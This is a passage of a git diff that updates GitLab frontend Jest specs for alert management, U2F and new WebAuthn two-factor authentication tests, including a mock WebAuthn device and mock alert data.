+ const ALERT_SELECTOR = 'gl-alert';
+ const CLOSE_SELECTOR = 'gl-alert-dismiss';
+ const ALERT_HTML = `<div class="${ALERT_SELECTOR}"><button class="${CLOSE_SELECTOR}">Dismiss</button></div>`;
+
+ const findFirstAlert = () => document.querySelector(`.${ALERT_SELECTOR}`);
+ const findAllAlerts = () => document.querySelectorAll(`.${ALERT_SELECTOR}`);
+ const findFirstCloseButton = () => document.querySelector(`.${CLOSE_SELECTOR}`);
+
+ describe('initAlertHandler', () => {
+ describe('with one alert', () => {
+ beforeEach(() => {
+ setHTMLFixture(ALERT_HTML);
+ initAlertHandler();
+ });
+
+ it('should render the alert', () => {
+ expect(findFirstAlert()).toExist();
+ });
+
+ it('should dismiss the alert on click', () => {
+ findFirstCloseButton().click();
+ expect(findFirstAlert()).not.toExist();
+ });
+ });
+
+ describe('with two alerts', () => {
+ beforeEach(() => {
+ setHTMLFixture(ALERT_HTML + ALERT_HTML);
+ initAlertHandler();
+ });
+
+ it('should render two alerts', () => {
+ expect(findAllAlerts()).toHaveLength(2);
+ });
+
+ it('should dismiss only one alert on click', () => {
+ findFirstCloseButton().click();
+ expect(findAllAlerts()).toHaveLength(1);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/alert_management/components/alert_details_spec.js b/spec/frontend/alert_management/components/alert_details_spec.js
index 2c4ed100a56..8aa26dbca3b 100644
--- a/spec/frontend/alert_management/components/alert_details_spec.js
+++ b/spec/frontend/alert_management/components/alert_details_spec.js
@@ -1,7 +1,8 @@
import { mount, shallowMount } from '@vue/test-utils';
-import { GlAlert, GlLoadingIcon, GlTable } from '@gitlab/ui';
+import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
+import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
import AlertDetails from '~/alert_management/components/alert_details.vue';
import createIssueMutation from '~/alert_management/graphql/mutations/create_issue_from_alert.mutation.graphql';
import { joinPaths } from '~/lib/utils/url_utility';
@@ -22,8 +23,6 @@ describe('AlertDetails', () => {
const projectId = '1';
const $router = { replace: jest.fn() };
- const findDetailsTable = () => wrapper.find(GlTable);
-
function mountComponent({ data, loading = false, mountMethod = shallowMount, stubs = {} } = {}) {
wrapper = mountMethod(AlertDetails, {
provide: {
@@ -66,6 +65,7 @@ describe('AlertDetails', () => {
const findCreateIncidentBtn = () => wrapper.find('[data-testid="createIncidentBtn"]');
const findViewIncidentBtn = () => wrapper.find('[data-testid="viewIncidentBtn"]');
const findIncidentCreationAlert = () => wrapper.find('[data-testid="incidentCreationError"]');
+ const findDetailsTable = () => wrapper.find(AlertDetailsTable);
describe('Alert details', () => {
describe('when alert is null', () => {
@@ -87,8 +87,8 @@ describe('AlertDetails', () => {
expect(wrapper.find('[data-testid="overview"]').exists()).toBe(true);
});
- it('renders a tab with full alert information', () => {
- expect(wrapper.find('[data-testid="fullDetails"]').exists()).toBe(true);
+ it('renders a tab with an activity feed', () => {
+ expect(wrapper.find('[data-testid="activity"]').exists()).toBe(true);
});
it('renders severity', () => {
@@ -198,7 +198,6 @@ describe('AlertDetails', () => {
mountComponent({ data: { alert: mockAlert } });
});
it('should display a table of raw alert details data', () => {
- wrapper.find('[data-testid="fullDetails"]').trigger('click');
expect(findDetailsTable().exists()).toBe(true);
});
});
@@ -234,7 +233,7 @@ describe('AlertDetails', () => {
describe('header', () => {
const findHeader = () => wrapper.find('[data-testid="alert-header"]');
- const stubs = { TimeAgoTooltip: '<span>now</span>' };
+ const stubs = { TimeAgoTooltip: { template: '<span>now</span>' } };
describe('individual header fields', () => {
describe.each`
@@ -268,8 +267,8 @@ describe('AlertDetails', () => {
it.each`
index | tabId
${0} | ${'overview'}
- ${1} | ${'fullDetails'}
- ${2} | ${'metrics'}
+ ${1} | ${'metrics'}
+ ${2} | ${'activity'}
`('will navigate to the correct tab via $tabId', ({ index, tabId }) => {
wrapper.setData({ currentTabIndex: index });
expect($router.replace).toHaveBeenCalledWith({ name: 'tab', params: { tabId } });
diff --git a/spec/frontend/alert_management/components/alert_management_sidebar_todo_spec.js b/spec/frontend/alert_management/components/alert_management_sidebar_todo_spec.js
index 2814b5ce357..ea7b4584a63 100644
--- a/spec/frontend/alert_management/components/alert_management_sidebar_todo_spec.js
+++ b/spec/frontend/alert_management/components/alert_management_sidebar_todo_spec.js
@@ -1,6 +1,7 @@
import { mount } from '@vue/test-utils';
import SidebarTodo from '~/alert_management/components/sidebar/sidebar_todo.vue';
-import AlertMarkTodo from '~/alert_management/graphql/mutations/alert_todo_create.mutation.graphql';
+import createAlertTodoMutation from '~/alert_management/graphql/mutations/alert_todo_create.mutation.graphql';
+import todoMarkDoneMutation from '~/graphql_shared/mutations/todo_mark_done.mutation.graphql';
import mockAlerts from '../mocks/alerts.json';
const mockAlert = mockAlerts[0];
@@ -61,14 +62,14 @@ describe('Alert Details Sidebar To Do', () => {
expect(findToDoButton().text()).toBe('Add a To-Do');
});
- it('calls `$apollo.mutate` with `AlertMarkTodo` mutation and variables containing `iid`, `todoEvent`, & `projectPath`', async () => {
+ it('calls `$apollo.mutate` with `createAlertTodoMutation` mutation and variables containing `iid`, `todoEvent`, & `projectPath`', async () => {
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue(mockUpdatedMutationResult);
findToDoButton().trigger('click');
await wrapper.vm.$nextTick();
expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
- mutation: AlertMarkTodo,
+ mutation: createAlertTodoMutation,
variables: {
iid: '1527542',
projectPath: 'projectPath',
@@ -76,6 +77,7 @@ describe('Alert Details Sidebar To Do', () => {
});
});
});
+
describe('removing a todo', () => {
beforeEach(() => {
mountComponent({
@@ -91,12 +93,19 @@ describe('Alert Details Sidebar To Do', () => {
expect(findToDoButton().text()).toBe('Mark as done');
});
- it('calls `$apollo.mutate` with `AlertMarkTodoDone` mutation and variables containing `id`', async () => {
+ it('calls `$apollo.mutate` with `todoMarkDoneMutation` mutation and variables containing `id`', async () => {
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue(mockUpdatedMutationResult);
findToDoButton().trigger('click');
await wrapper.vm.$nextTick();
- expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledTimes(1);
+
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
+ mutation: todoMarkDoneMutation,
+ update: expect.anything(),
+ variables: {
+ id: '1234',
+ },
+ });
});
});
});
diff --git a/spec/frontend/alert_management/components/alert_management_table_spec.js b/spec/frontend/alert_management/components/alert_management_table_spec.js
index 5dd0d9dc1ba..bcad415eb19 100644
--- a/spec/frontend/alert_management/components/alert_management_table_spec.js
+++ b/spec/frontend/alert_management/components/alert_management_table_spec.js
@@ -11,6 +11,7 @@ import {
GlBadge,
GlPagination,
GlSearchBoxByType,
+ GlAvatar,
} from '@gitlab/ui';
import waitForPromises from 'helpers/wait_for_promises';
import { visitUrl } from '~/lib/utils/url_utility';
@@ -39,19 +40,21 @@ describe('AlertManagementTable', () => {
const findStatusFilterBadge = () => wrapper.findAll(GlBadge);
const findDateFields = () => wrapper.findAll(TimeAgo);
const findFirstStatusOption = () => findStatusDropdown().find(GlDeprecatedDropdownItem);
- const findAssignees = () => wrapper.findAll('[data-testid="assigneesField"]');
- const findSeverityFields = () => wrapper.findAll('[data-testid="severityField"]');
- const findSeverityColumnHeader = () => wrapper.findAll('th').at(0);
const findPagination = () => wrapper.find(GlPagination);
const findSearch = () => wrapper.find(GlSearchBoxByType);
+ const findSeverityColumnHeader = () =>
+ wrapper.find('[data-testid="alert-management-severity-sort"]');
+ const findFirstIDField = () => wrapper.findAll('[data-testid="idField"]').at(0);
+ const findAssignees = () => wrapper.findAll('[data-testid="assigneesField"]');
+ const findSeverityFields = () => wrapper.findAll('[data-testid="severityField"]');
const findIssueFields = () => wrapper.findAll('[data-testid="issueField"]');
const findAlertError = () => wrapper.find('[data-testid="alert-error"]');
const alertsCount = {
- open: 14,
- triggered: 10,
- acknowledged: 6,
- resolved: 1,
- all: 16,
+ open: 24,
+ triggered: 20,
+ acknowledged: 16,
+ resolved: 11,
+ all: 26,
};
const selectFirstStatusOption = () => {
findFirstStatusOption().vm.$emit('click');
@@ -92,13 +95,10 @@ describe('AlertManagementTable', () => {
});
}
- beforeEach(() => {
- mountComponent({ data: { alerts: mockAlerts, alertsCount } });
- });
-
afterEach(() => {
if (wrapper) {
wrapper.destroy();
+ wrapper = null;
}
});
@@ -192,6 +192,17 @@ describe('AlertManagementTable', () => {
).toContain('gl-hover-bg-blue-50');
});
+ it('displays the alert ID and title formatted correctly', () => {
+ mountComponent({
+ props: { alertManagementEnabled: true, userCanEnableAlertManagement: true },
+ data: { alerts: { list: mockAlerts }, alertsCount, hasError: false },
+ loading: false,
+ });
+
+ expect(findFirstIDField().exists()).toBe(true);
+ expect(findFirstIDField().text()).toBe(`#${mockAlerts[0].iid} ${mockAlerts[0].title}`);
+ });
+
it('displays status dropdown', () => {
mountComponent({
props: { alertManagementEnabled: true, userCanEnableAlertManagement: true },
@@ -207,7 +218,11 @@ describe('AlertManagementTable', () => {
data: { alerts: { list: mockAlerts }, alertsCount, hasError: false },
loading: false,
});
- expect(findStatusDropdown().contains('.dropdown-title')).toBe(false);
+ expect(
+ findStatusDropdown()
+ .find('.dropdown-title')
+ .exists(),
+ ).toBe(false);
});
it('shows correct severity icons', () => {
@@ -255,18 +270,22 @@ describe('AlertManagementTable', () => {
).toBe('Unassigned');
});
- it('renders username(s) when assignee(s) present', () => {
+ it('renders user avatar when assignee present', () => {
mountComponent({
props: { alertManagementEnabled: true, userCanEnableAlertManagement: true },
data: { alerts: { list: mockAlerts }, alertsCount, hasError: false },
loading: false,
});
- expect(
- findAssignees()
- .at(1)
- .text(),
- ).toBe(mockAlerts[1].assignees.nodes[0].username);
+ const avatar = findAssignees()
+ .at(1)
+ .find(GlAvatar);
+ const { src, label } = avatar.attributes();
+ const { name, avatarUrl } = mockAlerts[1].assignees.nodes[0];
+
+ expect(avatar.exists()).toBe(true);
+ expect(label).toBe(name);
+ expect(src).toBe(avatarUrl);
});
it('navigates to the detail page when alert row is clicked', () => {
@@ -502,7 +521,11 @@ describe('AlertManagementTable', () => {
await selectFirstStatusOption();
expect(findAlertError().exists()).toBe(true);
- expect(findAlertError().contains('[data-testid="htmlError"]')).toBe(true);
+ expect(
+ findAlertError()
+ .find('[data-testid="htmlError"]')
+ .exists(),
+ ).toBe(true);
});
});
diff --git a/spec/frontend/alert_management/components/alert_metrics_spec.js b/spec/frontend/alert_management/components/alert_metrics_spec.js
index e0a069fa1a8..42da8c3768b 100644
--- a/spec/frontend/alert_management/components/alert_metrics_spec.js
+++ b/spec/frontend/alert_management/components/alert_metrics_spec.js
@@ -3,15 +3,13 @@ import waitForPromises from 'helpers/wait_for_promises';
import MockAdapter from 'axios-mock-adapter';
import axios from 'axios';
import AlertMetrics from '~/alert_management/components/alert_metrics.vue';
+import MetricEmbed from '~/monitoring/components/embeds/metric_embed.vue';
jest.mock('~/monitoring/stores', () => ({
monitoringDashboard: {},
}));
-const mockEmbedName = 'MetricsEmbedStub';
-
jest.mock('~/monitoring/components/embeds/metric_embed.vue', () => ({
- name: mockEmbedName,
render(h) {
return h('div');
},
@@ -26,13 +24,10 @@ describe('Alert Metrics', () => {
propsData: {
...props,
},
- stubs: {
- MetricEmbed: true,
- },
});
}
- const findChart = () => wrapper.find({ name: mockEmbedName });
+ const findChart = () => wrapper.find(MetricEmbed);
const findEmptyState = () => wrapper.find({ ref: 'emptyState' });
afterEach(() => {
diff --git a/spec/frontend/alert_management/components/sidebar/alert_managment_sidebar_assignees_spec.js b/spec/frontend/alert_management/components/sidebar/alert_managment_sidebar_assignees_spec.js
index a14596b6722..4c9db02eff4 100644
--- a/spec/frontend/alert_management/components/sidebar/alert_managment_sidebar_assignees_spec.js
+++ b/spec/frontend/alert_management/components/sidebar/alert_managment_sidebar_assignees_spec.js
@@ -56,6 +56,9 @@ describe('Alert Details Sidebar Assignees', () => {
mock.restore();
});
+ const findAssigned = () => wrapper.find('[data-testid="assigned-users"]');
+ const findUnassigned = () => wrapper.find('[data-testid="unassigned-users"]');
+
describe('updating the alert status', () => {
const mockUpdatedMutationResult = {
data: {
@@ -100,32 +103,30 @@ describe('Alert Details Sidebar Assignees', () => {
});
});
- it('renders a unassigned option', () => {
+ it('renders a unassigned option', async () => {
wrapper.setData({ isDropdownSearching: false });
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(GlDeprecatedDropdownItem).text()).toBe('Unassigned');
- });
+ await wrapper.vm.$nextTick();
+ expect(wrapper.find(GlDeprecatedDropdownItem).text()).toBe('Unassigned');
});
- it('calls `$apollo.mutate` with `AlertSetAssignees` mutation and variables containing `iid`, `assigneeUsernames`, & `projectPath`', () => {
+ it('calls `$apollo.mutate` with `AlertSetAssignees` mutation and variables containing `iid`, `assigneeUsernames`, & `projectPath`', async () => {
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue(mockUpdatedMutationResult);
wrapper.setData({ isDropdownSearching: false });
- return wrapper.vm.$nextTick().then(() => {
- wrapper.find(SidebarAssignee).vm.$emit('update-alert-assignees', 'root');
+ await wrapper.vm.$nextTick();
+ wrapper.find(SidebarAssignee).vm.$emit('update-alert-assignees', 'root');
- expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
- mutation: AlertSetAssignees,
- variables: {
- iid: '1527542',
- assigneeUsernames: ['root'],
- projectPath: 'projectPath',
- },
- });
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
+ mutation: AlertSetAssignees,
+ variables: {
+ iid: '1527542',
+ assigneeUsernames: ['root'],
+ projectPath: 'projectPath',
+ },
});
});
- it('shows an error when request contains error messages', () => {
+ it('emits an error when request contains error messages', () => {
wrapper.setData({ isDropdownSearching: false });
const errorMutationResult = {
data: {
@@ -137,18 +138,48 @@ describe('Alert Details Sidebar Assignees', () => {
};
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue(errorMutationResult);
-
- return wrapper.vm.$nextTick().then(() => {
- const SideBarAssigneeItem = wrapper.findAll(SidebarAssignee).at(0);
- SideBarAssigneeItem.vm.$emit('click');
- expect(wrapper.emitted('alert-refresh')).toBeUndefined();
- });
+ return wrapper.vm
+ .$nextTick()
+ .then(() => {
+ const SideBarAssigneeItem = wrapper.findAll(SidebarAssignee).at(0);
+ SideBarAssigneeItem.vm.$emit('update-alert-assignees');
+ })
+ .then(() => {
+ expect(wrapper.emitted('alert-error')).toBeDefined();
+ });
});
it('stops updating and cancels loading when the request fails', () => {
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockReturnValue(Promise.reject(new Error()));
wrapper.vm.updateAlertAssignees('root');
- expect(wrapper.find('[data-testid="unassigned-users"]').text()).toBe('assign yourself');
+ expect(findUnassigned().text()).toBe('assign yourself');
+ });
+
+ it('shows a user avatar, username and full name when a user is set', () => {
+ mountComponent({
+ data: { alert: mockAlerts[1] },
+ sidebarCollapsed: false,
+ loading: false,
+ stubs: {
+ SidebarAssignee,
+ },
+ });
+
+ expect(
+ findAssigned()
+ .find('img')
+ .attributes('src'),
+ ).toBe('/url');
+ expect(
+ findAssigned()
+ .find('.dropdown-menu-user-full-name')
+ .text(),
+ ).toBe('root');
+ expect(
+ findAssigned()
+ .find('.dropdown-menu-user-username')
+ .text(),
+ ).toBe('root');
});
});
});
diff --git a/spec/frontend/alert_management/components/sidebar/alert_sidebar_status_spec.js b/spec/frontend/alert_management/components/sidebar/alert_sidebar_status_spec.js
index 5bd0d3b3c17..a8fe40687e1 100644
--- a/spec/frontend/alert_management/components/sidebar/alert_sidebar_status_spec.js
+++ b/spec/frontend/alert_management/components/sidebar/alert_sidebar_status_spec.js
@@ -56,7 +56,11 @@ describe('Alert Details Sidebar Status', () => {
});
it('displays the dropdown status header', () => {
- expect(findStatusDropdown().contains('.dropdown-title')).toBe(true);
+ expect(
+ findStatusDropdown()
+ .find('.dropdown-title')
+ .exists(),
+ ).toBe(true);
});
describe('updating the alert status', () => {
diff --git a/spec/frontend/alert_management/mocks/alerts.json b/spec/frontend/alert_management/mocks/alerts.json
index fec101a52b4..5267a4fe50d 100644
--- a/spec/frontend/alert_management/mocks/alerts.json
+++ b/spec/frontend/alert_management/mocks/alerts.json
@@ -20,7 +20,7 @@
"startedAt": "2020-04-17T23:18:14.996Z",
"endedAt": "2020-04-17T23:18:14.996Z",
"status": "ACKNOWLEDGED",
- "assignees": { "nodes": [{ "username": "root" }] },
+ "assignees": { "nodes": [{ "username": "root", "avatarUrl": "/url", "name": "root" }] },
"issueIid": "1",
"notes": {
"nodes": [
@@ -49,7 +49,7 @@
"startedAt": "2020-04-17T23:18:14.996Z",
"endedAt": "2020-04-17T23:18:14.996Z",
"status": "RESOLVED",
- "assignees": { "nodes": [{ "username": "root" }] },
+ "assignees": { "nodes": [{ "username": "root", "avatarUrl": "/url", "name": "root" }] },
"notes": {
"nodes": [
{
diff --git a/spec/frontend/api_spec.js b/spec/frontend/api_spec.js
index 4f4de62c229..3ae0d06162d 100644
--- a/spec/frontend/api_spec.js
+++ b/spec/frontend/api_spec.js
@@ -398,6 +398,29 @@ describe('Api', () => {
});
});
+ describe('projectMilestones', () => {
+ it('fetches project milestones', done => {
+ const projectId = 1;
+ const options = { state: 'active' };
+ const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/1/milestones`;
+ mock.onGet(expectedUrl).reply(200, [
+ {
+ id: 1,
+ title: 'milestone1',
+ state: 'active',
+ },
+ ]);
+
+ Api.projectMilestones(projectId, options)
+ .then(({ data }) => {
+ expect(data.length).toBe(1);
+ expect(data[0].title).toBe('milestone1');
+ })
+ .then(done)
+ .catch(done.fail);
+ });
+ });
+
describe('newLabel', () => {
it('creates a new label', done => {
const namespace = 'some namespace';
diff --git a/spec/frontend/authentication/u2f/authenticate_spec.js b/spec/frontend/authentication/u2f/authenticate_spec.js
index 8abef2ae1b2..7a87b420195 100644
--- a/spec/frontend/authentication/u2f/authenticate_spec.js
+++ b/spec/frontend/authentication/u2f/authenticate_spec.js
@@ -76,7 +76,7 @@ describe('U2FAuthenticate', () => {
describe('errors', () => {
it('displays an error message', () => {
- const setupButton = container.find('#js-login-u2f-device');
+ const setupButton = container.find('#js-login-2fa-device');
setupButton.trigger('click');
u2fDevice.respondToAuthenticateRequest({
errorCode: 'error!',
@@ -87,14 +87,14 @@ describe('U2FAuthenticate', () => {
});
it('allows retrying authentication after an error', () => {
- let setupButton = container.find('#js-login-u2f-device');
+ let setupButton = container.find('#js-login-2fa-device');
setupButton.trigger('click');
u2fDevice.respondToAuthenticateRequest({
errorCode: 'error!',
});
const retryButton = container.find('#js-token-2fa-try-again');
retryButton.trigger('click');
- setupButton = container.find('#js-login-u2f-device');
+ setupButton = container.find('#js-login-2fa-device');
setupButton.trigger('click');
u2fDevice.respondToAuthenticateRequest({
deviceData: 'this is data from the device',
diff --git a/spec/frontend/authentication/u2f/register_spec.js b/spec/frontend/authentication/u2f/register_spec.js
index 3c2ecdbba66..e89ef773be6 100644
--- a/spec/frontend/authentication/u2f/register_spec.js
+++ b/spec/frontend/authentication/u2f/register_spec.js
@@ -13,8 +13,8 @@ describe('U2FRegister', () => {
beforeEach(done => {
loadFixtures('u2f/register.html');
u2fDevice = new MockU2FDevice();
- container = $('#js-register-u2f');
- component = new U2FRegister(container, $('#js-register-u2f-templates'), {}, 'token');
+ container = $('#js-register-token-2fa');
+ component = new U2FRegister(container, {});
component
.start()
.then(done)
@@ -22,9 +22,9 @@ describe('U2FRegister', () => {
});
it('allows registering a U2F device', () => {
- const setupButton = container.find('#js-setup-u2f-device');
+ const setupButton = container.find('#js-setup-token-2fa-device');
- expect(setupButton.text()).toBe('Set up new U2F device');
+ expect(setupButton.text()).toBe('Set up new device');
setupButton.trigger('click');
const inProgressMessage = container.children('p');
@@ -41,7 +41,7 @@ describe('U2FRegister', () => {
describe('errors', () => {
it("doesn't allow the same device to be registered twice (for the same user", () => {
- const setupButton = container.find('#js-setup-u2f-device');
+ const setupButton = container.find('#js-setup-token-2fa-device');
setupButton.trigger('click');
u2fDevice.respondToRegisterRequest({
errorCode: 4,
@@ -52,7 +52,7 @@ describe('U2FRegister', () => {
});
it('displays an error message for other errors', () => {
- const setupButton = container.find('#js-setup-u2f-device');
+ const setupButton = container.find('#js-setup-token-2fa-device');
setupButton.trigger('click');
u2fDevice.respondToRegisterRequest({
errorCode: 'error!',
@@ -63,14 +63,14 @@ describe('U2FRegister', () => {
});
it('allows retrying registration after an error', () => {
- let setupButton = container.find('#js-setup-u2f-device');
+ let setupButton = container.find('#js-setup-token-2fa-device');
setupButton.trigger('click');
u2fDevice.respondToRegisterRequest({
errorCode: 'error!',
});
- const retryButton = container.find('#U2FTryAgain');
+ const retryButton = container.find('#js-token-2fa-try-again');
retryButton.trigger('click');
- setupButton = container.find('#js-setup-u2f-device');
+ setupButton = container.find('#js-setup-token-2fa-device');
setupButton.trigger('click');
u2fDevice.respondToRegisterRequest({
deviceData: 'this is data from the device',
diff --git a/spec/frontend/authentication/webauthn/authenticate_spec.js b/spec/frontend/authentication/webauthn/authenticate_spec.js
new file mode 100644
index 00000000000..0a82adfd0ee
--- /dev/null
+++ b/spec/frontend/authentication/webauthn/authenticate_spec.js
@@ -0,0 +1,132 @@
+import $ from 'jquery';
+import waitForPromises from 'helpers/wait_for_promises';
+import WebAuthnAuthenticate from '~/authentication/webauthn/authenticate';
+import MockWebAuthnDevice from './mock_webauthn_device';
+import { useMockNavigatorCredentials } from './util';
+
+const mockResponse = {
+ type: 'public-key',
+ id: '',
+ rawId: '',
+ response: { clientDataJSON: '', authenticatorData: '', signature: '', userHandle: '' },
+ getClientExtensionResults: () => {},
+};
+
+describe('WebAuthnAuthenticate', () => {
+ preloadFixtures('webauthn/authenticate.html');
+ useMockNavigatorCredentials();
+
+ let fallbackElement;
+ let webAuthnDevice;
+ let container;
+ let component;
+ let submitSpy;
+
+ const findDeviceResponseInput = () => container[0].querySelector('#js-device-response');
+ const findDeviceResponseInputValue = () => findDeviceResponseInput().value;
+ const findMessage = () => container[0].querySelector('p');
+ const findRetryButton = () => container[0].querySelector('#js-token-2fa-try-again');
+ const expectAuthenticated = () => {
+ expect(container.text()).toMatchInterpolatedText(
+ 'We heard back from your device. You have been authenticated.',
+ );
+ expect(findDeviceResponseInputValue()).toBe(JSON.stringify(mockResponse));
+ expect(submitSpy).toHaveBeenCalled();
+ };
+
+ beforeEach(() => {
+ loadFixtures('webauthn/authenticate.html');
+ fallbackElement = document.createElement('div');
+ fallbackElement.classList.add('js-2fa-form');
+ webAuthnDevice = new MockWebAuthnDevice();
+ container = $('#js-authenticate-token-2fa');
+ component = new WebAuthnAuthenticate(
+ container,
+ '#js-login-token-2fa-form',
+ {
+ options:
+ // we need some valid base64 for base64ToBuffer
+ // so we use "YQ==" = base64("a")
+ JSON.stringify({
+ challenge: 'YQ==',
+ timeout: 120000,
+ allowCredentials: [
+ { type: 'public-key', id: 'YQ==' },
+ { type: 'public-key', id: 'YQ==' },
+ ],
+ userVerification: 'discouraged',
+ }),
+ },
+ document.querySelector('#js-login-2fa-device'),
+ fallbackElement,
+ );
+ submitSpy = jest.spyOn(HTMLFormElement.prototype, 'submit');
+ });
+
+ describe('with webauthn unavailable', () => {
+ let oldGetCredentials;
+
+ beforeEach(() => {
+ oldGetCredentials = window.navigator.credentials.get;
+ window.navigator.credentials.get = null;
+ });
+
+ afterEach(() => {
+ window.navigator.credentials.get = oldGetCredentials;
+ });
+
+ it('falls back to normal 2fa', () => {
+ component.start();
+
+ expect(container.html()).toBe('');
+ expect(container[0]).toHaveClass('hidden');
+ expect(fallbackElement).not.toHaveClass('hidden');
+ });
+ });
+
+ describe('with webauthn available', () => {
+ beforeEach(() => {
+ component.start();
+ });
+
+ it('shows in progress', () => {
+ const inProgressMessage = container.find('p');
+
+ expect(inProgressMessage.text()).toMatchInterpolatedText(
+ "Trying to communicate with your device. Plug it in (if you haven't already) and press the button on the device now.",
+ );
+ });
+
+ it('allows authenticating via a WebAuthn device', () => {
+ webAuthnDevice.respondToAuthenticateRequest(mockResponse);
+
+ return waitForPromises().then(() => {
+ expectAuthenticated();
+ });
+ });
+
+ describe('errors', () => {
+ beforeEach(() => {
+ webAuthnDevice.rejectAuthenticateRequest(new DOMException());
+
+ return waitForPromises();
+ });
+
+ it('displays an error message', () => {
+ expect(submitSpy).not.toHaveBeenCalled();
+ expect(findMessage().textContent).toMatchInterpolatedText(
+ 'There was a problem communicating with your device. (Error)',
+ );
+ });
+
+ it('allows retrying authentication after an error', () => {
+ findRetryButton().click();
+ webAuthnDevice.respondToAuthenticateRequest(mockResponse);
+
+ return waitForPromises().then(() => {
+ expectAuthenticated();
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/authentication/webauthn/error_spec.js b/spec/frontend/authentication/webauthn/error_spec.js
new file mode 100644
index 00000000000..26f1ca5e27d
--- /dev/null
+++ b/spec/frontend/authentication/webauthn/error_spec.js
@@ -0,0 +1,50 @@
+import WebAuthnError from '~/authentication/webauthn/error';
+
+describe('WebAuthnError', () => {
+ it.each([
+ [
+ 'NotSupportedError',
+ 'Your device is not compatible with GitLab. Please try another device',
+ 'authenticate',
+ ],
+ ['InvalidStateError', 'This device has not been registered with us.', 'authenticate'],
+ ['InvalidStateError', 'This device has already been registered with us.', 'register'],
+ ['UnknownError', 'There was a problem communicating with your device.', 'register'],
+ ])('exception %s will have message %s, flow type: %s', (exception, expectedMessage, flowType) => {
+ expect(new WebAuthnError(new DOMException('', exception), flowType).message()).toEqual(
+ expectedMessage,
+ );
+ });
+
+ describe('SecurityError', () => {
+ const { location } = window;
+
+ beforeEach(() => {
+ delete window.location;
+ window.location = {};
+ });
+
+ afterEach(() => {
+ window.location = location;
+ });
+
+ it('returns a descriptive error if https is disabled', () => {
+ window.location.protocol = 'http:';
+
+ const expectedMessage =
+ 'WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details.';
+ expect(
+ new WebAuthnError(new DOMException('', 'SecurityError'), 'authenticate').message(),
+ ).toEqual(expectedMessage);
+ });
+
+ it('returns a generic error if https is enabled', () => {
+ window.location.protocol = 'https:';
+
+ const expectedMessage = 'There was a problem communicating with your device.';
+ expect(
+ new WebAuthnError(new DOMException('', 'SecurityError'), 'authenticate').message(),
+ ).toEqual(expectedMessage);
+ });
+ });
+});
diff --git a/spec/frontend/authentication/webauthn/mock_webauthn_device.js b/spec/frontend/authentication/webauthn/mock_webauthn_device.js
new file mode 100644
index 00000000000..39df94df46b
--- /dev/null
+++ b/spec/frontend/authentication/webauthn/mock_webauthn_device.js
@@ -0,0 +1,35 @@
+/* eslint-disable no-unused-expressions */
+
+export default class MockWebAuthnDevice {
+ constructor() {
+ this.respondToAuthenticateRequest = this.respondToAuthenticateRequest.bind(this);
+ this.respondToRegisterRequest = this.respondToRegisterRequest.bind(this);
+ window.navigator.credentials || (window.navigator.credentials = {});
+ window.navigator.credentials.create = () =>
+ new Promise((resolve, reject) => {
+ this.registerCallback = resolve;
+ this.registerRejectCallback = reject;
+ });
+ window.navigator.credentials.get = () =>
+ new Promise((resolve, reject) => {
+ this.authenticateCallback = resolve;
+ this.authenticateRejectCallback = reject;
+ });
+ }
+
+ respondToRegisterRequest(params) {
+ return this.registerCallback(params);
+ }
+
+ respondToAuthenticateRequest(params) {
+ return this.authenticateCallback(params);
+ }
+
+ rejectRegisterRequest(params) {
+ return this.registerRejectCallback(params);
+ }
+
+ rejectAuthenticateRequest(params) {
+ return this.authenticateRejectCallback(params);
+ }
+}
diff --git a/spec/frontend/authentication/webauthn/register_spec.js b/spec/frontend/authentication/webauthn/register_spec.js
new file mode 100644
index 00000000000..1de952d176d
--- /dev/null
+++ b/spec/frontend/authentication/webauthn/register_spec.js
@@ -0,0 +1,131 @@
+import $ from 'jquery';
+import waitForPromises from 'helpers/wait_for_promises';
+import WebAuthnRegister from '~/authentication/webauthn/register';
+import MockWebAuthnDevice from './mock_webauthn_device';
+import { useMockNavigatorCredentials } from './util';
+
+describe('WebAuthnRegister', () => {
+ preloadFixtures('webauthn/register.html');
+ useMockNavigatorCredentials();
+
+ const mockResponse = {
+ type: 'public-key',
+ id: '',
+ rawId: '',
+ response: {
+ clientDataJSON: '',
+ attestationObject: '',
+ },
+ getClientExtensionResults: () => {},
+ };
+ let webAuthnDevice;
+ let container;
+ let component;
+
+ beforeEach(() => {
+ loadFixtures('webauthn/register.html');
+ webAuthnDevice = new MockWebAuthnDevice();
+ container = $('#js-register-token-2fa');
+ component = new WebAuthnRegister(container, {
+ options: {
+ rp: '',
+ user: {
+ id: '',
+ name: '',
+ displayName: '',
+ },
+ challenge: '',
+ pubKeyCredParams: '',
+ },
+ });
+ component.start();
+ });
+
+ const findSetupButton = () => container.find('#js-setup-token-2fa-device');
+ const findMessage = () => container.find('p');
+ const findDeviceResponse = () => container.find('#js-device-response');
+ const findRetryButton = () => container.find('#js-token-2fa-try-again');
+
+ it('shows setup button', () => {
+ expect(findSetupButton().text()).toBe('Set up new device');
+ });
+
+ describe('when unsupported', () => {
+ const { location, PublicKeyCredential } = window;
+
+ beforeEach(() => {
+ delete window.location;
+ delete window.credentials;
+ window.location = {};
+ window.PublicKeyCredential = undefined;
+ });
+
+ afterEach(() => {
+ window.location = location;
+ window.PublicKeyCredential = PublicKeyCredential;
+ });
+
+ it.each`
+ httpsEnabled | expectedText
+ ${false} | ${'WebAuthn only works with HTTPS-enabled websites'}
+ ${true} | ${'Please use a supported browser, e.g. Chrome (67+) or Firefox'}
+ `('when https is $httpsEnabled', ({ httpsEnabled, expectedText }) => {
